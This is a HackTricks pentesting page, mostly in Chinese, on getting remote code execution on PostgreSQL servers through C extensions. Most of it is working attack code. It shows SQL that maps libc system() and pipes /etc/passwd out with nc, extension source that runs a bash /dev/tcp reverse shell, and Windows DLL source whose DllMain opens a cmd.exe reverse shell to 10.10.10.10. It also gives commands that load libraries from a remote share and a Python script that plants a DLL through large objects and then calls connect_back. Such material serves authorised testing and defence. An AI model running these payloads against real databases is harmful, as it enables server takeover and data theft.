RCE with PostgreSQL Extensions
Reading time: 13 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
PostgreSQL Extensions
PostgreSQL 的核心特性是可扩展性,允许它无缝集成扩展,就像它们是内置功能一样。这些扩展,基本上是用 C 编写的库,丰富了数据库的额外功能、操作符或类型。
从 8.1 版本开始,对扩展库施加了特定要求:它们必须使用特殊头文件编译。没有这个,PostgreSQL 将不会执行它们,确保只使用兼容且可能安全的扩展。
此外,请记住 如果你不知道如何 利用 PostgreSQL 上传文件到受害者,你应该阅读这篇文章。
RCE in Linux
有关更多信息,请查看: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
从 PostgreSQL 8.1 及更早版本执行系统命令的过程已经被清楚地记录,并且非常简单。可以使用这个: Metasploit module.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
从 base64 写入二进制文件
要在 postgres 中将二进制写入文件,您可能需要使用 base64,这对该问题将很有帮助:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
然而,当在更高版本上尝试时 显示了以下错误:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
此错误在PostgreSQL文档中有解释:
为了确保动态加载的对象文件不会加载到不兼容的服务器中,PostgreSQL检查文件是否包含具有适当内容的“魔术块”。这使得服务器能够检测明显的不兼容性,例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始,魔术块是必需的。要包含魔术块,请在包含头文件fmgr.h之后,在模块源文件中的一个(且仅一个)位置写入以下内容:
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
自PostgreSQL 8.2版本以来,攻击者利用系统的过程变得更加具有挑战性。攻击者需要使用系统上已经存在的库,或者上传自定义库。此自定义库必须针对兼容的PostgreSQL主要版本进行编译,并且必须包含特定的“魔术块”。这一措施显著增加了利用PostgreSQL系统的难度,因为它需要对系统的架构和版本兼容性有更深入的理解。
编译库
获取PostgreSQL版本:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
为了兼容性,主要版本必须对齐。因此,使用9.6.x系列中的任何版本编译库应确保成功集成。
要在您的系统中安装该版本:
apt install postgresql postgresql-server-dev-9.6
并编译库:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
然后上传编译好的库并使用以下命令执行:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
您可以找到这个 预编译的库 适用于多个不同的 PostgreSQL 版本,甚至可以 自动化这个过程(如果您有 PostgreSQL 访问权限):
Windows 中的 RCE
以下 DLL 以 二进制文件的名称 和您想要执行的 次数 作为输入,并执行它:
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
您可以在此 zip 中找到编译好的 DLL:
您可以指示此 DLL 要执行哪个二进制文件 以及执行的次数,在此示例中,它将执行 calc.exe
2 次:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
在 这里 你可以找到这个反向 shell:
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
注意在这种情况下,恶意代码位于 DllMain 函数内部。这意味着在这种情况下,不需要在 postgresql 中执行加载的函数,只需加载 DLL 就会执行反向 shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
PolyUDF项目也是一个很好的起点,提供完整的MS Visual Studio项目和一个现成的库(包括:command eval,exec_和_cleanup)以及多版本支持。
最新PostgreSQL版本中的RCE
在最新版本的PostgreSQL中,施加了限制,superuser
被禁止从特定目录以外的地方加载共享库文件,例如在Windows上的C:\Program Files\PostgreSQL\11\lib
或在*nix系统上的/var/lib/postgresql/11/lib
。这些目录对NETWORK_SERVICE或postgres账户的写操作是安全的。
尽管有这些限制,经过身份验证的数据库superuser
仍然可以使用“大型对象”写入二进制文件到文件系统中。此功能扩展到在C:\Program Files\PostgreSQL\11\data
目录中写入,这对于更新或创建表等数据库操作至关重要。
一个显著的漏洞来自于CREATE FUNCTION
命令,它允许目录遍历到数据目录。因此,经过身份验证的攻击者可以利用这种遍历将共享库文件写入数据目录,然后加载它。这个漏洞使攻击者能够执行任意代码,实现系统上的本地代码执行。
攻击流程
首先,您需要使用大型对象上传dll。您可以在这里查看如何做到这一点:
Big Binary Files Upload (PostgreSQL)
一旦您将扩展(在此示例中名为poc.dll)上传到数据目录,您可以使用以下命令加载它:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
注意,您不需要附加 .dll
扩展名,因为创建函数会自动添加它。
有关更多信息 请阅读 原始出版物在这里。
在该出版物中 这是 用于生成 postgres 扩展的代码 (要了解如何编译 postgres 扩展,请阅读之前的任何版本).
在同一页面上提供了 自动化 此技术的 利用:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
参考
- https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
- https://www.exploit-db.com/papers/13084
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。